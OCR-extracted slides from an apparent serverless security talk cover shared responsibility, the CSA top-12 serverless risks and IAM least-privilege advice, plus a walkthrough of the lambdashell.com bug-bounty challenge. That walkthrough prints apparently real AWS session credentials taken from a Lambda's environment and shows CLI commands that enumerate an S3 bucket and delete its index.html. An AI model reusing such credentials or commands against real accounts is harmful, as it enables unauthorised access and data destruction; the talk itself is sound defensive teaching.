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Agenda

SERVERLESS SECURITY IN A NUTSHELL

FOCUS ON A FEW RISKS & PITFALLS

ACTION ITEMS FOR YOU
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Shared Model Of Responsibility
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Security Responsibility: When You Own The Infrastructure (laaS)
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U Physical infrastructure, access restrictions to physical perimeter and hardware
U Secure configuration of infrastructure devices and systems

U Regularly testing the security of all systems/processes (OS, services)
U Identification and authentication of access to systems (OS, services)
U Patching and fixing flaws in OS

U Hardening OS and services

U Protecting all systems against malware and backdoors

U Patching and fixing flaws in runtime environment and related software packages
U Exploit prevention and memory protection

U Network segmentation

U Tracking and monitoring all network resources and access

U Installation and maintenance of network firewalls

U Network-layer DoS protection

U Authentication of users

U Authorization controls when accessing application and data

U Log and maintain audit trails of all access to application and data

U Deploy an application layer firewall for event-data inspection

U Detect and fix vulnerabilities in third-party dependencies

U Use least-privileged IAM roles and permissions

U Enforce legitimate application behavior

U Data leak prevention

U Scan code and configurations statically during development

U Maintain serverless/cloud asset inventory

1 Remove obsolete/unused cloud services and functions

U Continuously monitor errors and security incidents




Security Responsibility: When You Adopt Serverless

U Physical infrastructure, access restrictions to physical perimeter and hardware
1 Secure configuration of infrastructure devices and systems

1 Regularly testing the security of all systems/processes (OS, services)

U Identification and authentication of access to systems (OS, services)

E7JI http . //blt . ly/Faas-vs-iaas U Patching and fixing flaws in OS

U Hardening OS and services
U Protecting all systems against malware and backdoors
U Patching and fixing flaws in runtime environment and related software packages
U Exploit prevention and memory protection
U Network segmentation
CLOUD U Tracking and monitoring all network resources and access
PROVIDER U Installation and maintenan_ce of network firewalls
U Network-layer DoS protection
U Authentication of users
U Authorization controls when accessing application and data
U Log and maintain audit trails of all access to application and data
U Deploy an application layer firewall for event-data inspection
U Detect and fix vulnerabilities in third-party dependencies
U Use least-privileged IAM roles and permissions
U Enforce legitimate application behavior
O U] Data leak prevention
1 Scan code and configurations statically during development
m— U Maintain serverless/cloud asset inventory
1 Remove obsolete/unused cloud services and functions
U Continuously monitor errors and security incidents

APPLICATION
OWNER
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SOME
ATTACK SURFACES

Compromise data
Business logic abuse
Bypass authentication
Leak secrets

Denial of service
Financial exhaustion

Code execution




Top Risks for Serverless Applications

12 Most Critical Risks for Serverless (CSA)
4 http://bit.ly/csa-top-12

SAS-1 : Function Event-Data Injection

SAS-2 : Broken Authentication

SAS-3 : Insecure Serverless Deployment Configuration
SAS-4 : Over-Privileged Function Permissions and Roles
SAS-5 : Inadequate Function Monitoring and Logging
SAS-6 : Insecure Third-Party Dependencies

SAS-7 : Insecure Application Secrets Storage

SAS-8 : Denial of Service and Financial Resource Exhaustion
SAS-9 : Serverless Business Logic Manipulation

SAS-10 : Improper Exception Handling and Verbose Error Messages
SAS-11: Legacy / Unused functions & cloud resources
SAS-12: Cross-Execution Data Persistency
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The Need For Serverless-Native Protection

TRADITIONAL SECURITY SERVERLESS
Protects applications by being The application owner doesn't
deployed on networks and servers have any control over the
infrastructure

TRADITIONAL SECURITY SOLUTIONS HAVE BECOME UNSUITABLE
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Traditional Protections Cannot Be Deployed On Serverless

INFRASTRUCTURE

INBOUND
OUTBOUND

NETWORK
BEHAVIORAL

8 =

With No Infrastructure Based Protéctidns,
Your Security is Reduced to
Good Coding and Strict Configuration*
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How We Hacked Lambdashell.com

IS SERVERLESS INSEC)&JRE? LET'S FIND OUT..

—_ o~
This is a simple AWS lambda function that does a straight Configured with all default permissions and settings. This
exec. Essentially giving you a shell directly in my AWS service will sit for a bit and if nothing interesting happens it
infrastructure to just run your commands. A security teams will be reconfigured very insecurely to see what happens.
worst nightmare. $1,000 Bounty. Found something? Let me know at
Do whatever you want. Ultimate goal: take over the root@lambdashell.com

account, escalate privs or find some sensitive info.

user@host: ~
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Challenge accepted!
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Get The Environment Variables

user@host:
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Impersonate The Lambda Function

[ NON ) 1. orysegal@OryMBP: ~ (zsh)

[~]1$ export AWS_SESSION_TOKEN=FQoGZXIvYXdzEI3//////////WEaDBf81i RkI?D?bAFuvYCLdAderRoquBEX?eCthGANJ
vvJP+m@@KbprU7nEvas jbVIgd1UEMEXXWF8Hzs90ySC/sYDz2FLAEFom/Q6IKqJJ1Hy1KoLX@xMHEWsY0zPUIbhlaSaHKS@ugxocl
9sDalEjcUbzlkfjzv@e0Z5TOoPkCmSQ3AGOuXiBPsb+omKrXeSKUZqYULSoogm9Z05SNgKvDNSAD7WERdirjT7QoszjmVTiSB6s03k
jZquu82dkD9JAQ943bg4Gixf8CLUVBEPICd+50xmZHiZXuewaCuol5bYhWxZ9q8RBfQfNOIKOgh2+IF

[~]$

[~1$ export AWS_SECRET_ACCESS_KEY=Y6aONZa78rMb3xpxYvp2SYh+Uz3Ik@oXnlykHcTa

[~]1$

[~]$ export AWS_ACCESS_KEY_ID=ASIARZMXIAFTJIRU3KEE

[~]$

[~]$ aws sts get-caller-identity

{

"UserId": "AROAISSKPKEETYCGL4SXW:exec",
"Account's 122260623440 mp = = e = = = —— - - \
"Arn": "arn:aws:sts::123260633446:assumed-role/lambda_basic_execution/exec"

} L __________________________ -
[~1$ i
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I’m the smartest man alive!
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Fail Miserably - Strict IAM Permissions

0@ 1. orysegal@OryMBP: ~ (zsh)

[~]1$ aws lambda list-functions

An error occurred (AccessDeniedException) when calling the ListFunctions operation: User: arn:aws:sts::12!
c_execution/exec is not authorized to perform: lambda:ListFunctions on resource: *

[~1$

4 PRISMA
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We’re Doomed!
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Maybe There’s An S3 Bucket Involved?

[ NON ] 1. orysegal@OryMBP: ~ (zsh)

[~1% aws s3api head-bucket --bucket www.lambdashell.com
[~]$
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There’s Always An S3 Bucket!

(@0 @ 1. orysegal@OryMBP: ~ (zsh)
[~]1$ aws s3api head-bucket --bucket www.lambdashell.com
[~]$

[~]1$ aws s3api head-bucket --bucket serverless-security.presentation.com

An error occurred (404) when calling the HeadBucket operation: Not Found

-1s |
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List the Contents of the Bucket

N | 1. orysegal@OryMBP: ~ (zsh)
~]$% aws s3api list-objects --bucket www.lambdashell.com | head -n 20

A

"Contents": [
{
"Key": "css/main.css",
"LastModified": "2018-08-23T03:49:04.000Z",
"ETag": "\"6bd27c95c05151c6df6876d6c5e5ba2o\"",

"Size": 10447,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "whysoserverless",
"ID": "7264f9defcl@abaeflde419ead91d3e8ef559425490820380eab69eab42dbfble”
}
s
{

"Key": "css/style.css",
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Do | Have “WRITE” Permissions?

[ NN 1. orysegal@OryMBP: ~ (zsh)

[~1$ aws s3api delete-object --bucket www.lambdashell.com --key "index.html"

[~1$
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YOU DID WHAT ?!@#?!

’
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Dynamo: *
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GETTING IAM PERMISSIONS RIGHT

Adopt ‘Role-per-Function’ model Policies:
. # Give DynamoDB Full Access to your Lambda Function

Think twice before hitting SHIFT - AmazonDynamoDBFullAccess

Use SAM managed policies Policies:
(::> # Give just CRUD permissions to one table
SLS: use custom roles per function, ‘role- Pl L

TableName: !Ref MyTable

per-function’ plugin

functions:

Use the free PureSec ‘least-privileged’ IAM someFunction:

automatic role generator handler: puresec.main
iamRoleStatementsName: role-name

(::) iamRoleStatements:

- Effect: "Allow"
Action:
[;? - dynamodb:PutItem
Resource: ...
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DEMO // HR AUTOMATED ‘CV FILTERING’ SYSTEM

;' AWS SES
i
1
@ 1 \./‘ Emalil .
- _a _———— m ——
. P (>
Candidate . R
SN e emmm === /
. . . /
1. Candidate sends CV as PDF in email /
. . /
2. SES receives email, creates SNS message /
3. SNSinvokes the function
4. Function converts PDF to text + stores results in
DynamoDB v
AWS DynamoDB -

5. Function sends receipt to candidate

.
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Take Action
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Take Action
12 Most Critical Risks for Serverless (CSA)

12 Most Critical Risks for Serverless (CSA) http://bit.ly/csa-top-12
OWASP Serverless-Goat

OWASP Serverless Goat http://bit.ly/owasp-serverless—-goat

OSS IAM Least-Privleged CLI Tool http://bit.ly/puresec-cli
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